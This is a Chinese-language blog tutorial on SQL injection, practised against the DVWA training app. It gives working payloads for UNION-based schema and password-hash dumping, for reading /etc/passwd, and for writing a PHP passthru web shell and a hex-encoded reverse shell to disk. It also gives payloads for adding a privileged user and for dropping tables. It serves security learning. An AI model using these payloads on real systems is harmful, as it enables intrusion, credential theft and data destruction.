Loading... ##原理 通过操作输入修改后台SQL语句,使攻击者绕过 web server 的身份认证机制,从而控制web server上的数据库。跟大多数语言一样,SQL语法允许数据库命令和用户数据混杂在一起的。如果开发人员不细心的话,用户数据就有可能被解释成命令, 这样的话,远程用户就不仅能向 web application 输入数据,而且还可以在数据库上执行任意命令 如一个不安全的 web application 在进行用户身份检验时使用以下语句: ```sql SELECT * FROM users WHERE user='uname' AND password='pass' ``` 如果用户在输入时输入“ ' OR ''=' ”,就会导致SQL语句变成以下样子 ```sql SELECT * FROM users WHERE user='name' AND password='' OR ''='' ``` 这样就构成了一个简单的SQL注入。(还是老问题,怎么可能不过滤嘛) ##检测注入点 ###1.基于报错的检测方法 利用特殊字符 ' " % () 来进行测试。如果web application报错了就说明存在注入点。 ###2.基于布尔的检测方法 ```sql 1' and '1'='1 / 1' and '1 //真 1' and '1'='2 / 1' and '0 //假 ``` 观察返回值是否按照输入返回真假。 ##收集数据库信息 在进行注入之前还需要做一些准备,方便后面的注入。 ###1.判断SQL命令中查询了多少字段 通常是通过 order by 指令来判断。order by 是一个排序指令,这里可以通过过它来判断字段数。 构造指令如下: ```sql ' order by [number]-- //按查询列号排序 //注意最后的注释符含空格 "-- " //在URL中 "-- " 和 "--+" 是一样的 ``` 将其中的[number]改为任意数字,找到刚好不报错的就是查询的字段数。 ###2.查询数据库中信息的常用函数 ######//以下都以DVWA中的 SQL injection 为例 知道了字段数就可以用 select 语句来查询其他信息了。但直接 select 会报错,这时就需要一个 union 来联合搜索: ```sql ' union select 1,2--+ ' union all select database(),2--+ // union 或 union all 都可以,两者差不多 ``` ####切分查询后结果 ```sql substring_index([function], "[character]", number) ``` function 指输入的函数;character 指的是以什么字符分割;number 指的是需要分割后的第几段。 ####查看database用户 ```sql user() ``` ####查看databases版本 ```sql version() ``` ####查看当前database ```sql database() ``` ####ASCII码转字符 ```sql char() ``` 这个函数作用主要是绕过一些过滤 ####计算哈希值 ```sql md5() ``` ####连接字符串 ```sql CONCAT_WS(CHAR(32,58,32),user(),database(),version()) ``` 以上面的为例,CONCAT_WS是函数名,将后面的函数连接起来输出。char(32,58,32)是指以什么符号分割,后面接需要输出的函数。 ####全局变量 全局变量是SQL Server系统内部使用的变量,由系统定义和维护,我们只能使用,不能修改。 引用全局变量时必须使用@@开头 一些常用全局变量: ```sql @@datadir //输出当前数据库的位置 @@hostname //输出当前主机名 @@version //查看database版本 @@version_compile_os //查看操作系统版本 ``` ###3.查找数据库基本信息 MySQL将它的元数据都存在一个库 information_schema 里面。这个库里面存在所有的数据库的基本信息。如库的数量等。 如果想查询数据库的基本信息,就从 information_schema 里面查找。 下面是一些语句的示例: ####查找所有库,所有表 ```sql ' union select table_name,table_schema from information_schema.tables--+ ``` ####统计每个库中表的数量 ```sql ' UNION select table_schema,count(*) FROM information_Schema.tables group by table_schema -- ``` ####输出DVWA中的表 ```sql ' union select table_name,table_schema from information_schema.tables where table_schema='dvwa'--+ ``` ####输出User表内的所有列 ```sql ' union select table_name,column_name from information_schema.columns where table_schema='dvwa' and table_name='users'--+ ``` ####查询user,password列中的内容 ```sql ' union select user,password from dvwa.users--+ ' union select user,password from users--+ ' union select null, concat(user,0x3a,password) from users--+ //第三种的concat和上面的concate_wp功能一样的。 //区别只是 concate_wp 需要在起始位置指定分隔符而concate在中间指定 //concate中间的0x3a是字符的十六进制表示 ``` 脱出来的密码可以用Kali中的 hash_information 程序来判断它是属于哪种加密方式。 ##读写文件 现在的主流数据库都会含有大量库函数。而这些库函数可以让我们进行更深入的攻击。 ###1.读取本地文件 MySQL里面含有一个数据库管理系统的函数 load_file 这个函数可以读取系统本地的文件。 ```sql ' union SELECT null, load_file('/etc/passwd')--+ ``` ###2.写入文件 有读取本地文件的函数就有写入本地文件的函数。 ```sql ' union select null,"<?php passthru($_GET['cmd']); ?>" INTO DUMPFILE "/var/www/a.php" --+ //这个语句是无法执行的。原因后面说 ``` 这个 INTO DUMPFILE 也是数据库管理系统里面的一个函数。后面双引号里面引起来的就是文件路径和文件名。未指定路径的话就MySQL的默认目录。 上面的代码是无法执行的。原因是SQL注入的权限一般是MySQL的权限,而 /var/www/ 这个目录的属主和属组都是www-data,所以无法写入。 这时可以通过一个中介文件夹,通过文件包含漏洞将木马包含进来。常用的就是 /tmp/ 目录。它的权限是 777 ,即任何人都可以读写执行。 ###3.编码 web server 怎么可能没有过滤呢~ 对付过滤第一个想到的当然是编码啦。这里利用十六进制编码。每个Linux都有一个程序 xxd ,这个程序是将文件进行十六进制编码。 ```sql cat php-revers-shell.php | xxd -ps | tr -d '\n' //最后一串指令是删去回车 ``` 利用以上语句就可以获得木马的十六进制编码了。 接着还是一样的注入: ```sql ' union select null, (0x3c3f706870) INTO DUMPFILE '/tmp/x.php'-- //注意这里的格式一定要严谨 ``` 就可以绕过部分限制。 这里还有一个注意点:如果你的木马大小太大的话,用GET方式上传 web server 可能会拒绝接受。 ###4.将数据库文件写入本地 可以将本地文件读取进数据库,也可以将数据库的数据写入本地。 ```sql ' union SELECT null, database() INTO OUTFILE '/tmp/a.db'--+ ``` ##下载数据库 有时候数据库比较大,只是查询的话会很麻烦,甚至无法显示。这时候就可以将数据库下载至本地查看。 ```sql ' union select null, concat(user,0x3a,password) from users INTO OUTFILE '/tmp/a.db'-- ``` 通过上面的语句可以将数据库文件输入至指定文件夹,然后就可以通过文件包含漏洞下载。 如果没有文件包含漏洞的话那就只能慢慢查询。文件过大的话可以限制输出的数量。或者通过命令行工具 wget 或 curl 来下载。 ##其他利用思路 有时候拿到了数据库里的密码也不一定能解密。这时候可以通过编写代码来插入一个用户,并将其权限提至与root等同的权限。 ###修改用户名或用户密码 ```sql '; update users set user='yuanfh' where user='admin ``` 上面这个代码在有些时候是无法执行的。无法执行的原因在于一些 SQL 客户端工具的代码没写好,从而导致单行多命令无法执行。 参考:[http://dev.mysql.com/doc/refman/5.7/en/commands-out-of-sync.html ](http://dev.mysql.com/doc/refman/5.7/en/commands-out-of-sync.html ) ###插入一个新用户 ```sql '; INSERT INTO users ('user_id','first_name','last_name','user','password','avatar') VALUES ('35','fh','yuan','yfh','5f4dcc3b5aa765d61d8327deb882cf99','OK');--+ ``` ###删表 ```sql '; DROP TABLE users; -- ``` 总之扩展自己的思维总会发现一些神奇的方法。 ##权限不足 大多数时候SQL注入获得的权限并不是 MySQL数据库的root权限。这时候我们就没有权限查看 information_schema 这个库。 遇到这种情况,我们可以选择利用猜解的方法来猜出数据库的信息。 ###1.猜列名 ```sql ' and column is null--+ ``` ###2.猜当前表的表名 ```sql ' and table.user is null--+ ``` ###3.猜解其他表 ```sql ' and (select dvwa from table)>0--+ ``` ###4.猜列表对应关系 ```sql ' and users.user is null--+ ``` ###5.猜字段内容 ```sql ' or user='admin ' or user like ' %a% //这种是模糊搜索,匹配含有a字母的值 ``` ###6.猜解账号对应密码 ```sql ' or user='admin' and password='5f4dcc3b5aa765d61d8327deb882cf99 ``` ##随便写写 SQL注入既然是对数据库的注入,也是要用到很多数据库所有的函数。想要进行更好的注入还是要了解数据库的基本原理和函数吧。 最后修改:2019 年 07 月 03 日 © 允许规范转载 赞 如果觉得我的文章对你有用,请随意赞赏